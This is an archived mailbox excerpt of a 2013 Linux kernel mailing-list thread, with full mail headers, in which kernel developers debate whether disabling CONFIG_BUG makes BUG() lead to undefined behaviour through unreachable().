	id 1UfTie-0007lQ-P9
	for linux-arm-kernel@m.gmane.org; Thu, 23 May 2013 13:30:04 +0200
Original-Received: from merlin.infradead.org ([2001:4978:20e::2])
	by casper.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
	id 1UfTiY-0006C6-VI; Thu, 23 May 2013 11:29:59 +0000
Original-Received: from localhost ([::1] helo=merlin.infradead.org)
	by merlin.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1UfTiV-0001WE-Is; Thu, 23 May 2013 11:29:55 +0000
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218])
 by merlin.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1UfTiS-0001VW-5n
 for linux-arm-kernel@lists.infradead.org; Thu, 23 May 2013 11:29:53 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=arm.linux.org.uk; s=caramon; 
 h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
 bh=4rY98XaVnOXsW3h9bb+3tiqMKr/9Ci43btDoKRwSkjY=; 
 b=I1/1G5LcOa5ztzwtyxt9w7wjud2/fwngUf8HyUOB5a1BhtmdIxN3LkHh1rF7EzfUa/x87B65kfWG6Ktce8mJ3tKyrH3rbAEIqKvIDiDdS+B7e+ykoV1qvJ7MkiZHFngvTPg7EdeRZ0LtIJ13M9E/lxQFuTZylDSaroyuEzddfhU=;
Original-Received: from n2100.arm.linux.org.uk
 ([2002:4e20:1eda:1:214:fdff:fe10:4f86]:51618)
 by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
 (Exim 4.76) (envelope-from <linux@arm.linux.org.uk>)
 id 1UfTcr-0005RA-70; Thu, 23 May 2013 12:24:05 +0100
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.76)
 (envelope-from <linux@n2100.arm.linux.org.uk>)
 id 1UfTco-0002va-K9; Thu, 23 May 2013 12:24:02 +0100
Content-Disposition: inline
In-Reply-To: <201305231259.43750.arnd@arndb.de>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20130523_072952_610768_5044886A 
X-CRM114-Status: GOOD (  30.69  )
X-Spam-Score: -5.4 (-----)
X-Spam-Report: SpamAssassin version 3.3.2 on merlin.infradead.org summary:
 Content analysis details:   (-5.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [78.32.30.218 listed in list.dnswl.org]
 -1.1 RP_MATCHES_RCVD Envelope sender domain matches handover relay domain
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:238527 gmane.linux.ports.sh.devel:23174 gmane.linux.kernel.cross-arch:18014 gmane.linux.uml.devel:13928 gmane.linux.uml.user:14484 gmane.linux.hardware.blackfin.kernel.devel:7096 gmane.linux.ports.parisc:5066 gmane.linux.kernel:1495672 gmane.linux.ports.hexagon:589 gmane.linux.ports.ppc64.devel:90993
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/238527>

On Thu, May 23, 2013 at 12:59:43PM +0200, Arnd Bergmann wrote:
> On Thursday 23 May 2013, Russell King - ARM Linux wrote:
> > So, if you want to use this, then you should update the CONFIG_BUG text
> > to include a warning to this effect:
> > 
> >      Warning: if CONFIG_BUG is turned off, and control flow reaches
> >      a BUG(), the system behaviour will be undefined.
> > 
> > so that people can make an informed choice about this, because at the
> > moment:
> > 
> >           Disabling this option eliminates support for BUG and WARN, reducing
> >           the size of your kernel image and potentially quietly ignoring
> >           numerous fatal conditions. You should only consider disabling this
> >           option for embedded systems with no facilities for reporting errors.
> >           Just say Y.
> > 
> > will become completely misleading.  Turning this option off will not
> > result in "quietly ignoring numerous fatal conditions".
> 
> I must be missing something, to me the two descriptions mean the same thing.

To me, the current text suggests that we still detect the fatal condition
but the code continues to execute in a manner controlled by the program.

The latter is uncontrolled code (or data) execution in ways unspecified
by the program.

> You don't just want to avoid the code for printing the bug message and
> the invalid instruction, we also want the compiler to not emit the 
> function call or check the enum for unexpected values. The meaning of
> BUG() is really that person writing that statement was sure it cannot
> happen unless there is a bug in the kernel, which has likely already
> corrupted data. Printing a diagnostic at this point is nice if someone
> is there to look at it, but letting the kernel do further actions that
> may be undefined is not going to make things worse.

I'm not talking about printing a diagnostic.  I'm talking about the CPU
remaining under the control of the program it is running - that being
the Linux kernel.

With CONFIG_BUG unset, turning on things like reboot-on-panic and such
like is worthless.  Arguably even is having a hardware watchdog - because
even if you hit one of these BUG() conditions where the CPU goes off and
does its own thing, it might be sufficient that the system is still able
to take care of the watchdog.

This is the problem you guys are missing - unreachable() means "we lose
control of the CPU at this point".

If you have an embedded system and you've taken out all the printk()
stuff, you most certainly want the system to do _something_ if you hit
an unexpected condition.

From - Thu Nov 08 21:09:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] arch: configuration,
	deleting 'CONFIG_BUG' since always need it.
Date: Thu, 23 May 2013 14:09:02 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <201305231409.02359.arnd@arndb.de>
References: <519DCBEF.3090208@asianux.com> <201305231259.43750.arnd@arndb.de>
	<20130523112401.GO18614@n2100.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369311034 25635 80.91.229.3 (23 May 2013 12:10:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 12:10:34 +0000 (UTC)
Cc: Linux-sh list <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        Catalin Marinas <Catalin.Marinas-5wv7dgnIgG8@public.gmane.org>,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Chen Gang <gang.chen-bOixZGp5f+dBDgjK7y7TUQ@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        "paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org" <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
        "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>,
        Michel Lespinasse <walken-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org>,
        Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
        Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Yoshinori Sato <ysato-Rn4VEauK+AKRv+LV9MX5uooqe+aC9MnS@public.gmane.org>,
        Richard Weinberger <richard-/L3Ra7n9ekc@public.gmane.org>, Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
        the arch/x86 maintainers <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        "mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>,
        Frederic Weisbecker <fweisbec-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
To: "Russell King - ARM Linux" <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Thu May 23 14:10:29 2013
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([66.11.68.51])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1UfULl-0005R9-FQ
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Thu, 23 May 2013 14:10:29 +0200
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id r4NBgKPJ026937;
	Thu, 23 May 2013 07:42:26 -0400
Original-Received: from moutng.kundenserver.de (moutng.kundenserver.de [212.227.17.10])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP
	id r4NBg75c026916 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Thu, 23 May 2013 07:42:13 -0400
Original-Received: from klappe2.localnet
	(HSI-KBW-095-208-002-043.hsi5.kabel-badenwuerttemberg.de
	[95.208.2.43])
	by mrelayeu.kundenserver.de (node=mreu2) with ESMTP (Nemesis)
	id 0MXCmv-1V0mKe0jJd-00WlHW; Thu, 23 May 2013 14:09:10 +0200
User-Agent: KMail/1.12.2 (Linux/3.8.0-22-generic; KDE/4.3.2; x86_64; ; )
In-Reply-To: <20130523112401.GO18614-l+eeeJia6m9vn6HldHNs0ANdhmdF6hFW@public.gmane.org>
X-Provags-ID: V02:K0:rCSTcZDp7A0mWt6rf6KV/2ix2V5HOO10/vdyBFN2kdL
	iV0juQYe2noGF5TlzldTFdiKcOIWHfRYcZAYSIgNThUT5fXTAS
	xH1+oIsVFS1zC1R6LEiRv7MGUVGkva3Ujrt8X4NPXKq2/6gE8p
	XTUNPnu08ZKgcrgq3GUvnjCJWvs+w8cBRo/mJxegrI/QAAYqlT
	husftjrgmK/jHP/mok5/7igcH+ynQuJ12SP50DoR0LLJl4GXTk
	Qp400Riv2IkvbwouV+C3BNSUsS4P6dXLDO8La2OC6MpRDxj68F
	dGpdU5mkJJS2UcSTbskWea+7BptOaUrrLAkOJRNVkP842Es0Fh
	1I+fjgHFGKrru8zFDDiA=
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:7099 gmane.linux.ports.sh.devel:23175 gmane.linux.kernel.cross-arch:18015 gmane.linux.uml.devel:13929 gmane.linux.uml.user:14485 gmane.linux.ports.arm.kernel:238541 gmane.linux.ports.parisc:5067 gmane.linux.kernel:1495708 gmane.linux.ports.hexagon:590 gmane.linux.ports.ppc64.devel:90994
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/7099>

On Thursday 23 May 2013, Russell King - ARM Linux wrote:
> This is the problem you guys are missing - unreachable() means "we lose
> control of the CPU at this point".

I'm absolutely aware of this. Again, the current behaviour of doing nothing
at all isn't very different from undefined behavior when you get when you
get to the end of a function returning a pointer without a "return" statement,
or when you return from a function that has determined that it is not safe
to continue.

> If you have an embedded system and you've taken out all the printk()
> stuff, you most certainly want the system to do something if you hit
> an unexpected condition.

I did not claim that it was a good idea to disable BUG(), all I said is
that "random stuff may happen" is probably what Matt Mackall had in mind when
he introduced the option.

	Arnd

From - Thu Nov 08 21:09:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] arch: configuration, deleting 'CONFIG_BUG' since
 always need it.
Date: Thu, 23 May 2013 13:50:33 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20130523125033.GP18614@n2100.arm.linux.org.uk>
References: <519DCBEF.3090208@asianux.com> <201305231259.43750.arnd@arndb.de>
 <20130523112401.GO18614@n2100.arm.linux.org.uk>
 <201305231409.02359.arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369313713 23523 80.91.229.3 (23 May 2013 12:55:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 12:55:13 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Chen Gang <gang.chen@asianux.com>, Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Michel Lespinasse <walken@google.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 =?iso-8859-1?Q?H=E5vard?= Skinnemoen <hskinnemoen@gmail.com>,
 Ser
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu May 23 14:55:09 2013
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from casper.infradead.org ([85.118.1.10])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1UfV2y-0005rD-Fe
	for linux-arm-kernel@m.gmane.org; Thu, 23 May 2013 14:55:08 +0200
Original-Received: from merlin.infradead.org ([2001:4978:20e::2])
	by casper.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
	id 1UfV2r-0004Ih-V0; Thu, 23 May 2013 12:55:02 +0000
Original-Received: from localhost ([::1] helo=merlin.infradead.org)
	by merlin.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1UfV2n-0003uV-L6; Thu, 23 May 2013 12:54:57 +0000
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218])
 by merlin.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1UfV2l-0003tg-99
 for linux-arm-kernel@lists.infradead.org; Thu, 23 May 2013 12:54:55 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=arm.linux.org.uk; s=caramon; 
 h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
 bh=XnZORsNLaSeGvzpPmeAAaLVrLbIluPtkyJFSwnGvEJk=; 
 b=FUHfnuXpEoc+16xFPI6ZH/5lUyPoRiHThG5VaCG6sUXdw+hrWNfiiM0x3wG9GEdyEMJPC6E3WHXIXDzFUjmh235ewL22wyMBoa2AZ+/PVROb8wKp/T11UqZg1NHBMmjFpFaZbkjq2bIb27RXR4fZtK6C33YFieXjxcQVtTU4AAE=;
Original-Received: from n2100.arm.linux.org.uk
 ([2002:4e20:1eda:1:214:fdff:fe10:4f86]:51679)
 by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
 (Exim 4.76) (envelope-from <linux@arm.linux.org.uk>)
 id 1UfUyZ-0005We-Dl; Thu, 23 May 2013 13:50:35 +0100
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.76)
 (envelope-from <linux@n2100.arm.linux.org.uk>)
 id 1UfUyX-00040r-K2; Thu, 23 May 2013 13:50:33 +0100
Content-Disposition: inline
In-Reply-To: <201305231409.02359.arnd@arndb.de>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20130523_085455_689405_2F7BFFD0 
X-CRM114-Status: GOOD (  19.31  )
X-Spam-Score: -5.4 (-----)
X-Spam-Report: SpamAssassin version 3.3.2 on merlin.infradead.org summary:
 Content analysis details:   (-5.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [78.32.30.218 listed in list.dnswl.org]
 -1.1 RP_MATCHES_RCVD Envelope sender domain matches handover relay domain
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:238550 gmane.linux.ports.sh.devel:23181 gmane.linux.kernel.cross-arch:18016 gmane.linux.uml.devel:13930 gmane.linux.uml.user:14486 gmane.linux.hardware.blackfin.kernel.devel:7100 gmane.linux.ports.parisc:5068 gmane.linux.kernel:1495743 gmane.linux.ports.hexagon:591 gmane.linux.ports.ppc64.devel:90995
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/238550>

On Thu, May 23, 2013 at 02:09:02PM +0200, Arnd Bergmann wrote:
> On Thursday 23 May 2013, Russell King - ARM Linux wrote:
> > This is the problem you guys are missing - unreachable() means "we lose
> > control of the CPU at this point".
> 
> I'm absolutely aware of this. Again, the current behaviour of doing nothing
> at all isn't very different from undefined behavior when you get when you
> get to the end of a function returning a pointer without a "return" statement,
> or when you return from a function that has determined that it is not safe
> to continue.

Running off the end of a function like that is a different kettle of fish.
The execution path is still as the compiler intends - what isn't is that
the data returned is likely to be random trash.

That's _quite_ different from the CPU starting to execute the contents
of a literal data pool.

From - Thu Nov 08 21:09:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon
Subject: Re: [PATCH] arch: configuration, deleting 'CONFIG_BUG' since always
 need it.
Date: Thu, 23 May 2013 16:10:04 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <CAMuHMdUzcBuDupe4Fa6XieziGPMpPKC_k8X8gUUmDvLJ+Fe=Hg@mail.gmail.com>
References: <519DCBEF.3090208@asianux.com> <201305231259.43750.arnd@arndb.de>
 <20130523112401.GO18614@n2100.arm.linux.org.uk>
 <201305231409.02359.arnd@arndb.de>
 <20130523125033.GP18614@n2100.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369318241 11274 80.91.229.3 (23 May 2013 14:10:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 14:10:41 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>,
 Linux-sh list <linux-sh@vger.kernel.org>, Chen Gang <gang.chen@asianux.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Michel Lespinasse <walken@google.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 uml-devel <user-mode-linux-devel@lists.sourceforge.net>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 =?UTF-8?Q?H=C3=A5vard_Skinnemoen?= <hskinnemoen@gmail.com>,
 Serge Hallyn <serge.hallyn@canonical.com>,
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Thu May 23 16:10:37 2013
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1UfWE0-0001G7-Er
	for glppe-linuxppc-embedded-2@m.gmane.org; Thu, 23 May 2013 16:10:37 +0200
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id 1CA222C03BA
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Fri, 24 May 2013 00:10:35 +1000 (EST)
Original-Received: from mail-pa0-f48.google.com (mail-pa0-f48.google.com
 [209.85.220.48])
 (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits))
 (Client CN "smtp.gmail.com", Issuer "Google Internet Authority" (not verified))
 by ozlabs.org (Postfix) with ESMTPS id 98A2E2C00A1
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 24 May 2013 00:10:07 +1000 (EST)
Original-Received: by mail-pa0-f48.google.com with SMTP id kp6so3010898pab.21
 for <linuxppc-dev@lists.ozlabs.org>; Thu, 23 May 2013 07:10:05 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
 h=mime-version:sender:in-reply-to:references:date
 :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
 bh=jBig+dTFN3iyZ0dxPn6Ox7YSgnqXg55pQUeCluBG2is=;
 b=HlwtIODG+Nw4lmBjUPg1gEG8v9Awbty9vOFTUnzk+ZGM2P3F8wGwzKkqdIBB09uyko
 gsdFxN4Ojf6dsc7RY9/dpvIvVOGwwSB9QCZ9/viwwK54h+YIXpXZ7Pyct5UiX4tJ901L
 sVz3dQrl49IQ3Srss3uhCB3qDV39IAO+fh9DhB65OeYPhcjFicMlXc+H9IVb0kJ78chL
 lcMxgHVtuawknaVGGw6RvNec4Qv09dV9RogApX8eaIgXo8Nee7Q5b7NaWDMyHBWONcjm
 PfOXTSUaStkuCX9uvgi/QTAnTjvpPkpxnTwhwZrDg7AY0H6g8mz0UXPIwKhpzTh/zz5c
 QlPw==
X-Received: by 10.68.244.72 with SMTP id xe8mr13314547pbc.51.1369318204887;
 Thu, 23 May 2013 07:10:04 -0700 (PDT)
Original-Received: by 10.70.5.129 with HTTP; Thu, 23 May 2013 07:10:04 -0700 (PDT)
In-Reply-To: <20130523125033.GP18614@n2100.arm.linux.org.uk>
X-Google-Sender-Auth: yp7hz4q_U1Ne58htUvXMDq-D4P4
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:59510 gmane.linux.ports.sh.devel:23187 gmane.linux.kernel.cross-arch:18017 gmane.linux.uml.devel:13931 gmane.linux.uml.user:14487 gmane.linux.hardware.blackfin.kernel.devel:7101 gmane.linux.ports.arm.kernel:238575 gmane.linux.ports.parisc:5069 gmane.linux.kernel:1495789 gmane.linux.ports.hexagon:592
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/59510>

On Thu, May 23, 2013 at 2:50 PM, Russell King - ARM Linux
<linux@arm.linux.org.uk> wrote:
> On Thu, May 23, 2013 at 02:09:02PM +0200, Arnd Bergmann wrote:
>> On Thursday 23 May 2013, Russell King - ARM Linux wrote:
>> > This is the problem you guys are missing - unreachable() means "we lose
>> > control of the CPU at this point".
>>
>> I'm absolutely aware of this. Again, the current behaviour of doing nothing
>> at all isn't very different from undefined behavior when you get when you
>> get to the end of a function returning a pointer without a "return" statement,
>> or when you return from a function that has determined that it is not safe
>> to continue.
>
